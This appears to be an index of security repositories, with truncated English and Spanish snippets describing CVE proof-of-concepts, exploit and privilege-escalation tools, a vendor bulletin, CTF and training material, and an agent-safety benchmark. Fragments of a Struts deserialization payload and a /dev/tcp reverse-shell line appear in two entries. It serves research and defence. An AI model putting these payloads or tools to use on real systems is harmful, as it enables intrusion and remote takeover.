log4j-CVE-2021-44228-workaround

log4j-CVE-2021-44228-workaround A. Solution Description This project provides a general purpose workaround for the log4j CVE-2021-44228 vulnerability, which can be used in case you do not have the alternative in short term to re-build your respective project or to patch the log4j-core jars. The...

CVE-2017-0037

CVE-2017-0037 Microsoft Browser Memory Corruption Vulnerability This document is about CVE-2017-0037- Microsoft Browser Memory Corruption Vulnerability. It will first introduce what a Remote Code Execution RCE is and then go over through some technical specifics. What is Remote Code Execution? A...

S2-052

Exploit de Shell Reverso para CVE-2017-9805 S2-052 Versiones afectadas Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 PoC Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0 jdk.nashorn.interna...

CVE-2021-21809

CVE-2021-21809 POC CVE details: A command execution vulnerability exists in the default legacy spellchecker plugin in Moodle 3.10. A specially crafted series of HTTP requests can lead to command execution. An attacker must have administrator privileges to exploit this vulnerabilities. In the belo...

CVE-2024-37770

CVE-2024-37770 description 14Finger v1.1 was discovered to contain a remote command execution RCE vulnerability in the fingerprint function. This vulnerability allows attackers to execute arbitrary commands via a crafted payload. Attack Vector Unauthenticated attackers can execute command injecti...

CVE-2020-6418

CVE-2020-6418 The CVE 2020-6418 is about the the type confusion in V8 in Google chrome.The affected versions were prior to 80.0.3987.122. The vulnerability is achived by remote attacker accessing the shell of a target device via a crafted HTML page. Environment Requirements 1. Google Chrome with...

Exploit for CVE-2026-100382

CVE-2026-100382 - MediaWiki ExternalData extension OS command...

CVE-2023-2833

CVE-2023-2833 Mass Exploit Generator by Alucard0x1 This repository contains an exploit for CVE-2023-2833, a privilege escalation vulnerability in the ReviewX plugin for WordPress versions up to and including 1.6.13. Description The ReviewX plugin is vulnerable to privilege escalation, allowing a...

RIPPL

RIPPL Manipulando procesos protegidos por PPL sin usar un controlador Esta herramienta implementa un exploit de userland para manipular procesos protegidos por PPL de Windows. La técnica fue discutida inicialmente por James Forshaw también conocido como @tiraniddo y Clément Labro también conocido...

Azure_Workshop

Azure Red Team Attack and Detect Workshop Este es un laboratorio de Azure vulnerable por diseño que contiene 2 rutas de ataque con errores de configuración comunes. Estas vulnerabilidades pretenden representar las que se encuentran en entornos de producción reales y los vectores de ataque pretend...

ActBench

ActBench ActBench is a self-evolving benchmark of behavioral safety in cowork agents. It defines behavioral safety as whether an agent's execution remains within the permissions and state changes required by a benign task, and evaluates realized behavioral risk from execution trajectories rather...

Citrix NetScaler ADC and Citrix NetScaler Gateway Security Bulletin for CVE-2026-88771, CVE-2026-88772, CVE-2026-88773, CVE-2026-88774, CVE-2026-88775, CVE-2026-88776, CVE-2026-88777, and CVE-2026-88778

Severity - Critical Description of Problem Multiple vulnerabilities have been discovered in Citrix NetScaler ADC formerly Citrix ADC and Citrix NetScaler Gateway formerly Citrix Gateway. Refer below for further details. Affected Versions: The following supported versions of Citrix NetScaler ADC a...

LiveCTF-DEFCON30

LiveCTF 2022 Repositorio para almacenar retos, notas de infraestructura, configuración de streaming y otra información versionada para el evento final de CTF en vivo de DEF CON CTF. Retos utilizados en LiveCTF | Nombre del reto| Competidores| Vencedor ---|---|---|--- Octavos de final: 1|...

NegoExRelay

Negoexrelayx - Herramienta de relay de NegoEx Kit de herramientas para abusar de Kerberos PKU2U y NegoEx. Requiere impacket. Se recomienda instalar impacket directamente desde git para tener la última versión disponible. negoexrelayx.py Esta herramienta te permite retransmitir la autenticación...

log4j-pcap-activity

log4j-pcap-activity A fun activity using a packet capture file from the log4j exploit CVE-2021-44228 Instructions Open wireshark and import the PCAP located in this repository: log4j-exploit.pcap. Looking at the packets, answer the following questions. Questions Easy 1. Which Packet numbers conta...

PoC-CVE-2025-63406

CVE-2025-63406 – Prueba de Concepto PoC de Investigación de Seguridad Este repositorio contiene una Prueba de Concepto PoC orientada a la investigación relacionada con el problema de seguridad CVE-2025-63406 , que afecta a la plataforma GroupOffice. El propósito de este proyecto es estudiar y...

Bug-Bounty-Beginner-Roadmap

¡No dudes en contribuir a este repositorio! Roadmap de Bug Bounty para principiantes ¡Hola! Soy Ansh Bhawnani. Actualmente trabajo como ingeniero de seguridad y también soy creador de contenido a tiempo parcial. Estoy creando este repositorio para que todos contribuyan a guiar a las mentes jóvene...

Elevator

Descripción Elevator permite omitir la UAC y lanzar un proceso elevado con privilegios de administrador completos. Esto se logra abusando del comportamiento del servidor RPC que implementa la funcionalidad de UAC, como demostró James Forshaw en su artículo Llamando a servidores RPC locales de...

LockBit-Ransomware-Analysis

🔐 Análisis del ransomware LockBit – Explotación de Citrix Bleed 📌 Visión general Este proyecto presenta un análisis detallado de inteligencia de amenazas y respuesta a incidentes del ataque de ransomware LockBit de octubre de 2023 dirigido a Boeing. Los atacantes explotaron CVE-2023-4966 Citrix...

CVE-2026-33439-Poc

CVE-2026-33439 RCE pre-autenticación en OpenIdentityPlatform OpenAM mediante deserialización insegura de Java del parámetro jato.clientSession. Afecta a & /dev/tcp/HOST/PORT 0&1' La salida es ciega. La petición se bloquea hasta que el comando finaliza, por lo que el tiempo confirma la ejecución...